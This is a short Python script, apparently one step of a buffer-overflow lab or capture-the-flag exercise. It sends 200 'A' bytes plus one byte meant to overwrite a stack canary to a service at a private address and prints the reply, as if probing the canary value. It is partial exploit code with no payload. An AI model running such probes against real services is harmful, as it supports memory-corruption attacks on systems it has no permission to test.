partial_test.py

#!/usr/bin/env python3
import socket

TRGT = ('192.168.0.6', 8888)        # ip and port

buf = b'A'*200
buf+= b'B'                          # overwrite canary's first byte with B

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    # create TCP socket
s.connect(TRGT)                     # connect to target
s.recv(1024)                        # receive initial prompt
s.send(buf)                         # send payload
ret = s.recv(1024)                  # receive response
print(ret)